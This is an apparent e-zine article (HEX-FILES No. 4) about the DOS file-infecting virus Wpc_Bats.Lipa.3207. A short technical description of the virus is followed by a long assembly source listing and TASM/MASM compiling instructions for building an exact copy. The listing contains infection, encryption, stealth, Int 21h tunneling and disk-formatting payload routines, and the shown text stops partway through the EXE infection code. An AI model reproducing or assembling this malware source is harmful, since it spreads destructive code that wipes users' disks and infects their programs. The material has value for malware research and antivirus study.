Copy Link
Add to Bookmark
Report

Hexfiles Issue 4 File 012

eZine's profile picture
Published in 
hexfiles
 · 9 Aug 2024

  
HEX-FILES No. 4 File 012
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ


Name : Wpc_Bats.Lipa.3207
Author : A.R.Jr.
Origin : Lipa City, Philippines


Resides on top of memory which is allocated through DOS. The memory
allocated is 4080 bytes.

Recognizes memory by using the dword value at 0000:01FC. If the first
20 bytes pointed to by dword pointer is the same as that of the first
20 bytes of the virus' Int 21h handler means that the virus is
resident.

Hooks Int 16h (Function 00h), Int 1Ch and Int 21h (Functions 11h,
12h, 3Ch, 3Dh, 3Eh, 3Fh, 4202h, 43h, 4B00h, 4B01h, 4B03h, 4Eh and
6Ch). Uses tunneling technique for Int 21h and uses DOS to hook the
other two interrupts.

Infects com and exe programs. File names matching ??????86.EXE are
not infected. This way the virus avoids infecting memory managers.

The virus length is 3191 bytes and its infective length is at a
constant 3207 bytes. Host program alignment is already compensated
for by the virus.

Virus is appended to host programs.

Virus is stealth.

Recognizes programs that had already been infected, as follows:

For its DIR stealth, checks whether all bits of FileTime.Second
are set, FileDate.Year is not less than 100. Virus adds 100 to
FileDate.Year and sets FileTime.Second to 62.

For other virus functions, it further verifies an infection by
checking for 20 bytes of the data for its disabled payload.

Payloads:

Randomly displays " i h s y l r !".

Reboots the computer an hour after the virus resided in memory.
There is a 50% chance that this would happen. If it does not
happen, it tries again every hour.

Displays the text found at the end of the virus if the F1 or F2
keys are pressed. But, the display of the text is further
randomized by the virus.

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º" Ûßßßß Û Û Ûßßß " I will always º
º ßßßßÛ ÛßßÛ Ûßß loves you ! º
º ßßßßß ß ß ßßßß [SVH] - LIPA º
º -o- Take a bunch of care -o- º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Formats disk in the default drive if the text shown above is
changed. The computer is then rebooted.

Formats disk and reboots if it detects it is being traced.


The virus further carries codes for another payload but was disabled
by the author. It draws a big "ALA-EH" in the middle of the screen
using a yellow " i h s y l r" as its paint brush.



ÄÄ WPCL3207.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
;±*WARNING*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*WARNING*
;±*WARNING*± ±*WARNING*
;±*WARNING*± VIRUS CONTAINS DESTRUCTIVE CODES ±*WARNING*
;±*WARNING*± ±*WARNING*
;±*WARNING*± VIRUS DOES INTENTIONAL DAMAGE ±*WARNING*
;±*WARNING*± ±*WARNING*
;±*WARNING*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*WARNING*
;±*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± HEX-FILES No 4 ±±±
;±±±±±± ±±±±±±±±±±± ±±±
;±±±±±± Virus Name: Wpc_Bats.Lipa.3207 ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±± Author : A.R.Jr. ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±± Origin : Lipa City, Philippines ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±± Program listing created by Putoksa Kawayan ±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± COMPILING INSTRUCTION ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ~~~~~~~~~~~~~~~~~~~~~ ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ±±±
;±±± This virus was originally compiled in TASM 2.0 and could only be ±±±
;±±± compiled without correction in TASM. This should be compiled in ±±±
;±±± one pass which means that nops should be preserved. ±±±
;±±± ±±±
;±±± MASM 5.0 would generate a phase error message when this is ±±±
;±±± compiled. To suppress the error, you would have to add a size ±±±
;±±± override to this instruction: ±±±
;±±± ±±±
;±±± test [CommandComFlag],1 ±±±
;±±± ;<--------------------------- there should be a NOP here ±±±
;±±± ±±±
;±±± This should be coded as: ±±±
;±±± ±±±
;±±± test byte ptr [CommandComFlag],1 ±±±
;±±± nop ±±±
;±±± ±±±
;±±± This would enable MASM to compile the source. Setting a size ±±±
;±±± override would prevent MASM from a generating a NOP right after ±±±
;±±± the instruction. To get an exact copy of the virus, a NOP should ±±±
;±±± be coded as above. Otherwise, you would be creating a new ±±±
;±±± variant of the virus. ±±±
;±±± ±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;
DTA struc
_dReserved db 21 dup (?) ; reserved for next search
_dAttribute db ? ; file attribute
_dTimeStamp dw ? ; file time stamp
_dDateStamp dw ? ; file date stamp
_dLoLen dw ? ; length of file low word
_dHiLen dw ? ; length of file high word
_dFileName db 13 dup (?) ; filename of matched file
DTA ends

ExeHeader struc
_ExeID dw ? ; MZ exe identifier
_ExeMod dw ? ; bytes on last 512 blocks
_ExeBlocks dw ? ; number of 512 blocks (pages)
_ExeRelTab dw ? ; number of relocatable items
_ExeHedSize dw ? ; length in paragraphs of exe header
_ExeMinAlloc dw ? ; minimum memory required in paragraphs
_ExeMaxAlloc dw ? ; maximum memory required in paragraphs
_ExeStkSeg dw ? ; displacement for stack segment in paragraphs
_ExeStkPt dw ? ; initial value of stack pointer
_ExeCxSum dw ? ; checksum value
_ExeCodPt dw ? ; offset if program entry point
_ExeCodSeg dw ? ; displacement for code segment in paragraphs
_ExeRelFrst dw ? ; first relocatable item entry
ExeHeader ends

;-------------------------------------------------------------------
; if you are thinking of using this FCB structure in your program,
; better think twice. find something else that is right. i made it
; this way so that it would somehow fit into the system, whatever
; it may be, A.R.Jr. is thinking of. You'll be sorry. :)
;-------------------------------------------------------------------

FCB struc
_fFileName db 11 dup (?) ; filename of matched file
db 10 dup (?)
_fAttribute db ? ; file attribute
_fTimeStamp dw ? ; file time stamp
_fDateStamp dw ? ; file date stamp
_fLoLen dw ? ; length of file low word
_fHiLen dw ? ; length of file high word
FCB ends

WpcBatsLipa3207 segment 'code'

assume cs:WpcBatsLipa3207, ds:WpcBatsLipa3207

Ivt02 equ 2*4
Ivt21 equ 21h*4
Ivt7f equ 7fh*4
TimerTick equ 6ch
Environment equ 2ch
MemRequired equ ((offset WpcStackPt - offset Relocator+15)/16)+4
VirLen equ offset ReturnPoint - offset Relocator
AsciizLen equ 62
ScrWide equ 80
ScrHigh equ 24

org 100h

Relocator: ; relocate to virus
mov ax,cs
add ax,0
SegVirus equ word ptr $-2
mov ds,ax
mov [VirusRelocSegment],ax
mov [Psp],es
xor bx,bx
jmp dword ptr ds:[VirusReloc]

VirusReloc label dword
VirusRelocOffset dw offset Dropper
VirusRelocSegment dw ?

DecryptEntryCode: ; decrypt virus initialization
mov si,offset EntryCodeMaskBegin
std
cli
mov ss,ax
mov sp,si
EntryCodeDecryptKeyReset:
mov di,offset EntryCodeMaskEnd
EntryCodeDecryptLoop:
cmp di,offset EntryCodeMaskKeyEnd
EntryCodeMaskKeyEnd equ $-2
je EntryCodeDecryptKeyReset
dec di
mov es,bx
inc bx
mov bp,sp
shl bx,1
shl bx,1
lodsb
xor al,[di]
mov [bp],al
xor es:[bx+2],al
sub bx,4
dec sp
cmp sp,offset EntryCodeMaskEnd
je EntryCodeMaskEnd
or bx,bx
jz EntryCodeDecryptLoop
EntryCodeMaskEnd:
mov sp,offset WpcStackPt
sti
cld
mov si,offset AlaehMessage ; checks whether the text is patched
mov bx,7862h
AlaehMessageCxSum equ word ptr $-2
CheckAlaehMessage:
lodsb
sub bl,al
sbb bh,0
cmp al,13
jne CheckAlaehMessage
or bx,bx
jz CheckIfTsr
call TrashDisk ; sorry for you if you did that!
CheckIfTsr:
mov es,bx
les di,dword ptr es:[Ivt7f] ; check memory residency
mov si,offset Int21Handler
mov cx,10
repe cmpsw
je ExecuteHost ; is already resident, exec host
mov es,bx
add bx,Ivt21
call TunnelInt21 ; tunnel int 21
mov ah,30h
int 21h
cmp al,3 ; dont work id below dos 3
jb ExecuteHost
mov es,[Psp]
mov ah,48h ; get available memory
mov bx,-1
int 21h
cmp ax,7
je ExecuteHost
cmp bx,MemRequired ; enough mem?
ja ReserveMemory
mov ah,4ah
mov bx,-1 ; allocate all mem
int 21h
cmp ax,7
je ExecuteHost
sub bx,MemRequired+1 ; then set aside space for virus
jc ExecuteHost
mov ah,4ah ; free that space
int 21h
jc ExecuteHost
mov ax,es:[2] ; get top of mem
sub ax,MemRequired+1 ; reset it
jc ReserveMemory
mov es:[2],ax ; make it final
ReserveMemory:
mov bx,MemRequired ; allocate mem through dos
mov ah,48h
int 21h
cmp ax,7
je ExecuteHost
mov es,ax ; copy virus to top of mem
xor di,di
mov si,100h
mov cx,((offset VirusDta - offset Relocator)+10)/2
repe movsw
sub ax,16
mov ds,ax
cli
mov ss,ax
mov sp,offset WpcStackPt
sti
push ax
mov ax,offset SetToGoTsr ; continue with install
push ax
retf

ExecuteHost:
call MaskSavedHostData ; decrypt saved host data
mov si,offset SavedHost
mov ax,[Psp]
mov es,ax
cmp word ptr [SavedHost],'ZM' ; is it exe?
jne ExecuteComHost
mov bx,_ExeStkSeg[SavedHost]
mov ds,ax
add ax,16
add cs:_ExeCodSeg[SavedHost],ax
add ax,bx
cli
mov ss,ax
mov sp,cs:_ExeStkPt[SavedHost]
sti
jmp dword ptr cs:_ExeCodPt[SavedHost] ; execute host exe

ExecuteComHost:
cli
mov ss,ax
mov sp,-2
sti
push ax
mov di,100h
push di
movsw ; restore overwritten host code
movsb
mov ds,ax
retf ; execute host com

TunnelInt21:
mov [TempInt21Off],bx ; save int 21 offset
mov [TempInt21Seg],es ; save int 21 segment
les bx,es:[bx]
mov [Int21Offset],bx ; save int 21 offset
mov [Int21Segment],es ; save int 21 segment
mov cx,256
CheckIfFarJump:
cmp byte ptr es:[bx],0eah ; is it far jump
jne CheckIfNearJump
inc bx
jmp TunnelInt21

CheckIfNearJump:
cmp byte ptr es:[bx],0e9h ; is it near jump
jne CheckIfShortJump
mov ax,es:[bx+1]
add ax,3
add bx,ax
jmp CheckIfFarJump

CheckIfShortJump:
cmp byte ptr es:[bx],0ebh ; is it short jump
jne LookForCsOverride
mov al,es:[bx+1]
test al,80h ; check for backward jump
jz isForwardJump
sub bx,100h
isForwardJump:
add al,2
add bl,al
adc bh,0
jmp CheckIfFarJump

LookForCsOverride:
inc bx
cmp byte ptr es:[bx-01],2eh ; is it cs override
jne CheckIfFarJumpAgain
cmp word ptr es:[bx],1effh ; is it indirect far jump
je GetLocVector
cmp word ptr es:[bx],2effh ; is it indirect far call
loopnz LookForCsOverride
jcxz DoneTunnel21
GetLocVector:
mov bx,es:[bx+2]
jmp TunnelInt21

CheckIfFarJumpAgain:
cmp byte ptr es:[bx-1],0eah ; is it far jump
loopnz LookForCsOverride
jcxz DoneTunnel21
cmp byte ptr es:[bx-02],9dh ; is it pop flags
loopnz LookForCsOverride
jcxz DoneTunnel21
jmp TunnelInt21
DoneTunnel21:
ret

ReturnOffset dw ?
db 10 ; dont know whats this for. version?

SetToGoTsr:
call MaskInt21Handler ; decrypt part of int 21 handler
mov word ptr ds:[100h-15],8 ; set os as owner of mcb
mov ax,3516h
int 21h
mov [Int16Offset],bx ; save int 16
mov [Int16Segment],es
mov al,1ch
int 21h
mov [Int1cOffset],bx ; save int 1c
mov [Int1cSegment],es
mov word ptr [Timer],-16 ; set timer
mov [Keypress],2 ; set keypress count
;<-------------------------------------- there should be a NOP here
les di,[TempInt21] ; load tunneled vector
mov ax,2516h
mov dx,offset Int16Handler
int 21h ; hook int 16
mov dx,offset Int1cHandler
mov al,1ch
int 21h ; hook int 1c
xor ax,ax
mov ds,ax
mov ax,offset Int21Handler
cli
stosw ; hook int 21
mov word ptr ds:[Ivt7f],ax ; and set mem self rec
mov ax,cs
stosw
mov word ptr ds:[Ivt7f][2],ax
sti
mov ax,cs
mov es,ax
mov ds,ax
mov cx,5 ; initialize handle table
mov di,offset HandleTable
mov ax,-1
InitHandleTable:
stosw
add di,AsciizLen
loop InitHandleTable
call MaskSavedHostData ; decrypt saved host data
mov si,offset SavedHost
mov bx,[Psp]
mov cx,bx
cmp word ptr [SavedHost],'ZM' ; is it exe
jne HostIsCom
add si,_ExeCodPt ; prepare to execute host exe
mov di,offset HostIp
movsw
lodsw
add bx,16
add ax,bx
stosw
sub si,_ExeRelFrst-_ExeStkSeg
lodsw
add bx,ax
lodsw
EntryCodeMaskBegin:
call MaskEntryCode ; encrypt virus entry point
call MaskInt21Handler ; encrypt int 21 handler
mov es,cx
mov ds,cx
cli
mov ss,bx
mov sp,ax
sti
db 0eah
HostIp dw ?
dw ?

HostIsCom:
mov es,bx ; prepare to execute host com
mov di,100h
movsw
movsb
call MaskEntryCode ; encrypt virus entry point
call MaskInt21Handler ; encrypt int 21 handler
mov ds,bx
cli
mov ss,bx
mov sp,-2
sti
db 0eah
dw 100h
Psp dw ?

MaskInt21Handler:
pop cs:[ReturnOffset]
MaskInt21HandlerKeyEnd equ $-2
pushf
call SaveRegisters
mov bp,cs:[ReturnOffset]
cmp byte ptr cs:[bp],0cch ; am i traced
jne NotTraced
call TrashDisk ; make trouble if traced
NotTraced:
xor dx,dx
mov cx,cs
std
cli
mov cs:[SavedSs],ss
mov cs:[SavedSp],sp
mov si,offset MaskInt21HandlerBegin ; start masking here
mov ss,cx
mov sp,si
MaskInt21HandlerKeyReset:
mov bx,offset MaskInt21HandlerKeyBegin
MaskInt21HandlerLoop:
cmp bx,offset MaskInt21HandlerKeyEnd
je MaskInt21HandlerKeyReset
mov bp,sp
dec bx
mov ds,cx
lodsb
xor al,[bx]
mov [bp],al ; no more tracing
mov ds,dx
xor ds:[Ivt02],al
dec sp
cmp sp,offset SaveHandle ; end of masking
je RestoreSsSp
or dx,dx
jz MaskInt21HandlerLoop
MaskInt21HandlerKeyBegin equ $-1
RestoreSsSp:
mov ax,0
SavedSs equ word ptr $-2
mov ss,ax
mov sp,0
SavedSp equ word ptr $-2
call RestoreRegisters
popf
jmp cs:[ReturnOffset]

RestoreRegisters:
pop cs:[ReturnPoint]
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp cs:[ReturnPoint]

CheckDateTimeMarkers:
mov dx,word ptr _dDateStamp[VirusDta]
mov ax,word ptr _dTimeStamp[VirusDta]
CheckFileTimeSeconds:
and al,1fh
cmp al,1fh
jne NoTimeMark
sub dx,100 shl 9
ret

SaveRegisters: ; save registers
pop cs:[ReturnPoint]
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:[ReturnPoint]

IsFileHandleSaved:
mov ax,cs
mov es,ax
mov ds,ax
mov si,offset HandleTable
mov cx,5 ; set entry count
CheckNextEntry:
lodsw
cmp al,bl ; is handle saved?
je HandleIsSaved
add si,AsciizLen ; check next entry
loop CheckNextEntry
NoTimeMark:
stc ; handle is not saved
ret

HandleIsSaved:
push si
mov di,offset VirusAsciiz ; copy the asciiz associated with
CopySavedAsciiz: ; the saved handle
lodsb
stosb
or al,al
jnz CopySavedAsciiz
pop si
sub si,2 ; set si to handle
clc
ret

MaskSavedHostData: ; encrypt/decrypt saved host data
mov si,offset SavedHost
MaskSavedHostKeyReset:
mov di,offset MaskSavedHostKeyBegin
MaskSavedHostLoop:
cmp di,offset MaskSavedHostKeyEnd
MaskSavedHostKeyEnd:
je MaskSavedHostKeyReset
lodsb
xor al,[di]
dec di
mov [si-1],al
MaskSavedHostKeyBegin:
cmp si,offset AlaEhData
jne MaskSavedHostLoop
ret

HideInfectionOnRead:
pop cs:[ReturnPoint]
call RestoreRegisters
popf
pop cs:[ReadCallerOffset]
pop cs:[ReadCallerSegment]
popf
call UseDos ; execute read from file
jc ReturnToReadCaller
pushf
call SaveRegisters
push ds
pop es
push cs
pop ds
cmp cx,24 ; is it more than 24 bytes
jb LenWithInLimit
mov cx,24 ; then set it at saved length = 24
LenWithInLimit:
mov si,offset SavedHost
mov di,dx
cld
repe movsb ; restore host data
call RestoreRegisters
popf
ReturnToReadCaller:
db 0eah ; return to read caller
ReadCaller label dword
ReadCallerOffset dw ?
ReadCallerSegment dw ?

WriteFileHandler:
pop cs:[ReturnPoint]
call SaveRegisters
call IsFileHandleSaved
jc PopaPriorToExit
cmp byte ptr [si+1],0 ; already stealthed
je PopaPriorToExit ; if yes, exit
mov al,1
call MovePointerZeroLoHi ; get current ptr position
or ax,dx ; are we at start of file
jz PopaPriorToExit ; if yes, then exit
call RestoreRegisters
or cx,cx ; is it update file length?
jz FilePointerNotEof ; yes, exit
popf
pop cs:[ReadCallerOffset]
pop cs:[ReadCallerSegment]
popf
stc
mov ax,5
jmp cs:[ReadCaller] ; return error to caller

CheckReadHeader:
pop cs:[ReturnPoint]
call SaveRegisters
call IsFileHandleSaved
jc PopaPriorToExit
mov al,1 ; get current ptr location
call MovePointerZeroLoHi
push ax
or ax,dx ; are we at begin of file
pop ax
jnz PopaPriorToExit
mov byte ptr [si+1],-1 ; mark handle as stealthed
call MaskInt21Handler
call InfectionCheck
call MaskInt21Handler
pushf
call MovePointerStart
popf
jc PopaPriorToExit
cmp byte ptr [InfectedFlag],0 ; is file not infected?
je PopaPriorToExit ; if yes, exit
call HideInfectionOnRead ; else, do stealth
PopaPriorToExit:
call RestoreRegisters
FilePointerNotEof:
jmp PassToDos

MoveFilePointerHandler:
cmp al,2 ; is it eof sub func
jne FilePointerNotEof
push dx
or dx,cx ; is it get eof
pop dx
jnz FilePointerNotEof ; no exit
call SaveRegisters
call IsFileHandleSaved
jc PopaPriorToExit
call MaskInt21Handler
call InfectionCheck ; is infected?
call MaskInt21Handler
pushf
mov al,2
call MovePointerZeroLoHi ; move ptr to eof
popf
jc PopaPriorToExit
cmp byte ptr [InfectedFlag],0 ; is file infected
je PopaPriorToExit
call RestoreRegisters
popf
pop cs:[PointerCallerOffset]
pop cs:[PointerCallerSegment]
popf
call UseDos ; execute orig move ptr call
pushf
sub ax,VirLen
sbb dx,0 ; restore orig eof of file
popf
db 0eah ; return to move ptr caller
PointerCallerOffset dw ?
PointerCallerSegment dw ?

StealthFunctions:
cmp ah,3eh ; lower limit of stealth functions?
jb CheckOpenFunctions
cmp ah,42h ; move ptr
je MoveFilePointerHandler
cmp ah,3fh ; read file
je ReadFileHandler
cmp ah,3eh ; close file
je CloseFileHandler
call WriteFileHandler ; also handles delete file but no go
ReadFileHandler:
call CheckReadHeader
CloseFileHandler:
call SaveRegisters
call IsFileHandleSaved ; is handle saved
jc PopaPriorToExit
mov word ptr [si],-1 ; then release it
call RestoreRegisters
popf
pop cs:[CloseCallerOffset]
pop cs:[CloseCallerSegment]
popf
call UseDos ; execute close file
call MaskInt21Handler
call Infect ; and infect that file
call MaskInt21Handler
db 0eah
CloseCallerOffset dw ? ; return to close caller
CloseCallerSegment dw ?

Int21Handler:
pushf
sti
cld
cmp ah,43h ; file attribute
jb StealthFunctions
cmp ah,4bh ; exec
je InfectFunctions
cmp ah,6ch ; create/open
je InfectFunctions
cmp ah,4eh ; find first
jne PassToDos
FindFileHandler:
popf
pop cs:[ListCallerOffset]
pop cs:[ListCallerSegment]
popf
call UseDos ; execute find file
jc ReturnToListCaller
call MaskInt21Handler
call DirStealth ; do dir stealth
call MaskInt21Handler

ReturnToListCaller:
db 0eah
ListCallerOffset dw ?
ListCallerSegment dw ?

CheckOpenFunctions:
cmp ah,3dh ; open file
je InfectFunctions
cmp ah,3ch ; create file
jb CheckDirFunctions
InfectFunctions:
call SaveRegisters
cmp ah,6ch ; no swap regs for 6c
je SkipRegisterSwap
mov si,dx
SkipRegisterSwap:
push cs
pop es
mov di,offset VirusAsciiz ; copy path/file name of program
mov cx,64
CopyFileNameToAsciiz:
lodsb
stosb
or al,al
loopnz CopyFileNameToAsciiz
jcxz DoneMatch
mov ax,es:[di-4] ; check file extension for exe/com
or ax,2020h
mov dl,es:[di-2]
or dl,20h
cmp ax,'oc'
jne CheckIfExe
cmp dl,'m'
je ProceedWithInfection
CheckIfExe:
cmp ax,'xe'
jne DoneMatch
cmp dl,'e'
jne DoneMatch
cmp word ptr es:[di-07],'68' ;checks for ??????86.EXE
jne ProceedWithInfection
DoneMatch:
call RestoreRegisters
CheckDirFunctions:
cmp ah,12h ; find next file
je FindFileHandler
cmp ah,11h ; find first file
je FindFileHandler
PassToDos: ; execute dos
popf
push cs:[Int21Segment]
push cs:[Int21Offset]
retf

ProceedWithInfection:
call RestoreRegisters
popf
cmp ah,4bh ; exec?
je ExecHandler ; no, then execute call and save
pop cs:[Int21CallerOffset] ; file handle. then return to
pop cs:[Int21CallerSegment] ; caller
popf
call UseDos
jc ReturnToInt21Caller
call MaskInt21Handler
call SaveHandle
call MaskInt21Handler
ReturnToInt21Caller:
db 0eah
Int21CallerOffset dw ?
Int21CallerSegment dw ?

ExecHandler:
cmp al,3 ; load overlay
je ExecLoadHandler
cmp al,1 ; load debug
ja ExecUnknHandler
cmp al,0 ; load and exec
je ExecLoadHandler
call MaskInt21Handler ;----------- handler for 4b01
call StealthRestoreFile ; hide infection and execute
call MaskInt21Handler
pop cs:[ExecCallerOffset]
pop cs:[ExecCallerSegment]
popf
call UseDos
call MaskInt21Handler
call Infect ; reinfect it!
call MaskInt21Handler
db 0eah
ExecCallerOffset dw ? ; return to caller
ExecCallerSegment dw ?

ExecLoadHandler:
call MaskInt21Handler ; infect executing program/overlay
call Infect
call MaskInt21Handler
ExecUnknHandler:
push cs:[Int21Segment]
push cs:[Int21Offset]
retf

SavedHost dw 12 dup (?)
AlaEhData dw 907h,508h,901h,406h,805h,201h,903h,904h,901h,907h,508h
dw 901h,406h,805h,201h,903h,801h,802h,404h,701h,702h,504h
dw 0d01h,903h,404h,0c01h,403h,904h,201h,104h,2d02h
db -1

TrashDisk: ; format disk in default drive
mov ah,19h
int 21h
mov dl,al
mov ah,5
mov dh,0
mov ch,0
int 13h
int 19h

dwb macro dat1
dw 0
db dat1
endm

LipaTempo label byte ; data for disabled payload
dwb ' ' ; and random prompt display
LipaText label byte
dwb 'r'
dwb ' '
dwb 'l'
dwb ' '
dwb 'y'
dwb ' '
dwb 's'
dwb ' '
dwb 'h'
dwb ' '
dwb 'i'
dwb ' '
LipaColumn equ byte ptr $
LipaRow equ byte ptr $+1
dwb 1
Shirly equ byte ptr $-1

SaveHandle:
call SaveRegisters
pushf
mov bx,cs
mov ds,bx
mov es,bx
mov cx,5 ; set handle save count
mov di,offset HandleTable
LookForFreeHandleEntry:
cmp word ptr [di],-1 ; is entry free?
je FoundFreeEntry
add di,AsciizLen+2 ; get next entry
loop LookForFreeHandleEntry
jmp short HandleTableIsFull
FoundFreeEntry:
stosw ; save file handle
mov si,offset VirusAsciiz ; and its associated asciiz
SaveAsciizToHandleTable:
lodsb
stosb
or al,al
jnz SaveAsciizToHandleTable
HandleTableIsFull:
popf
call RestoreRegisters
ret

DirStealth:
call SaveRegisters
pushf
xchg ah,al
mov ah,2fh
call UseDos
cmp al,11h ; is it fn 11/12?
jnb CheckExtendedFcb
mov ax,es:_fTimeStamp[bx] ; set for seconds/year check
mov dx,es:_fDateStamp[bx]
call CheckFileTimeSeconds
jc TimeDateMarkNotFound ; marker not found
jmp DoDirStealth
;<-------------------------------------- there should be a NOP here

CheckExtendedFcb:
cmp byte ptr es:[bx],-1 ; is extended fcb?
jne TimeDateMarkNotFound
mov ax,es:_fTimeStamp[bx][8] ; set for seconds/year check
mov dx,es:_fDateStamp[bx][8]
call CheckFileTimeSeconds
jc TimeDateMarkNotFound ; sig not found
add bx,10
DoDirStealth:
sub word ptr es:_fLoLen[bx],VirLen ; restore file length
sbb word ptr es:_fHiLen[bx],0
TimeDateMarkNotFound:
popf
call RestoreRegisters
ret

MaskEntryCode: ; encrypt virus entry codes
call SaveRegisters
mov si,offset EntryCodeMaskBegin ; start of decryption
std
MaskEntryCodeKeyReset:
mov bx,offset EntryCodeMaskEnd
MaskEntryCodeLoop:
cmp bx,offset EntryCodeMaskKeyEnd
je MaskEntryCodeKeyReset
dec bx
lodsb
xor al,[bx]
mov [si+1],al
cmp si,offset EntryCodeMaskEnd ; end of decryption
jne MaskEntryCodeLoop
test [CommandComFlag],1 ; is host command.com?
;<-------------------------------------- there should be a NOP here
jnz HostIsCommandCom ; yes, then skip search
mov es,[Psp]
mov es,es:[Environment]
xor di,di
xor al,al
cld
mov cx,-1 ; find asciiz in environment
GetStartOfFileName:
repne scasb
scasb
jne GetStartOfFileName
mov ax,es:[di+2]
mov di,offset VirusAsciiz
push cs
pop es
cmp ah,':' ; do we have a drive letter?
jne SearchInDefaultDrive
stosw
SearchInDefaultDrive:
mov si,offset CommandCom
mov cx,6
repe movsw ; set command.com infect
call Infect ; do it!
HostIsCommandCom:
call RestoreRegisters
ret

StealthRestoreFile:
pushf
sti
cld
call SaveRegisters
call PrepareToInfectFile
jc CleanUp
push dx
call CheckDateTimeMarkers ; check for infection
pop dx
jc CleanUp
mov ax,3d02h ; open file
call UseDos
jc RestoreAttribBeforeCleanUp
mov bx,ax
call InfectionCheck ; verify infection
jc CloseTheFile
cmp byte ptr [InfectedFlag],0 ; is file infected?
je CloseTheFile
call MovePointerStart
mov cx,3
cmp word ptr [SavedHost],'ZM' ; is exe?
jne TargetIsCom
mov cx,24
TargetIsCom:
mov ah,40h ; restore host data
mov dx,offset SavedHost
call UseDos
mov cx,word ptr _dHiLen[VirusDta] ; restore its length
mov dx,word ptr _dLoLen[VirusDta]
sub dx,VirLen
sbb cx,0
xor al,al
call MovePointer
xor cx,cx
mov ah,40h ; do file length update
call UseDos
mov dx,word ptr _dDateStamp[VirusDta]
sub dx,100 shl 9 ; clear year mark
mov cx,word ptr _dTimeStamp[VirusDta]
mov ax,5701h
and cl,0e0h ; clear seconds mark
call UseDos
CloseTheFile:
mov ah,3eh ; close file
call UseDos
RestoreAttribBeforeCleanUp:
call RestoreFileAttribute ; some housekeeping
CleanUp:
call RestoreDtaErrInt
call RestoreRegisters
popf
ret

Infect:
pushf
sti
cld
call SaveRegisters
call PrepareToInfectFile ; set up for infection
jc CleanUp
mov ax,3d02h ; open file
call UseDos
jc RestoreAttribBeforeCleanUp
mov bx,ax
call CheckDateTimeMarkers
jc isInfected ; exit. its already infected
call InfectionCheck ; verify infection
jc CloseTheFile
cmp byte ptr [InfectedFlag],1 ; its infected
je CloseTheFile
call MovePointerStart
isInfected:
mov [CommandComFlag],1 ; set for command.com
;<-------------------------------------- there should be a NOP here
mov di,offset VirusDta[_dFileName]
mov si,offset CommandCom
mov cx,6
repe cmpsw ; is it command.com
je isCommandCom
mov [CommandComFlag],0 ; no
;<-------------------------------------- there should be a NOP here
isCommandCom:
mov ah,3fh
mov cx,24
mov dx,offset ReadBuffer ; read from start of file
call UseDos
jc CloseTheFile
mov si,offset ReadBuffer ; save it
call SaveHostFileData
mov dx,word ptr _dLoLen[VirusDta]
and dx,15 ; determine file slack and align
mov ax,VirLen ; and set length of virus to write
or dx,dx
jz SaveSlack
sub dx,16
neg dx
sub ax,dx
SaveSlack:
mov [VirLenToWrite],ax ; set vx len to write
mov al,2
call MovePointerZeroHi ; move ptr to aligned eof
mov cl,4
cmp word ptr [ReadBuffer],'ZM' ; is file exe?
je isExe
shr ax,cl
mov [SegVirus],ax ; set virus segment
shl ax,cl
sub ax,3
mov byte ptr [ComJumpByte],0e9h ; set jumper to virus relocator
mov [ComJumpDisp],ax
call WriteVirus ; write the virus, what else
jnc WriteToFileStart
RelayToCloseFile:
jmp CloseTheFile
isExe:
cmp dx,8 ; is bytes padded more than 8 bytes?
ja MarkTimeDateStamp ; skip if yes, but mark it
test _ExeMaxAlloc[ReadBuffer],-1
jz MarkTimeDateStamp
mov word ptr _dLoLen[VirusDta],ax ; set up virus header
mov bp,_ExeHedSize[ReadBuffer]
shl bp,cl
sub ax,bp
sbb dx,0
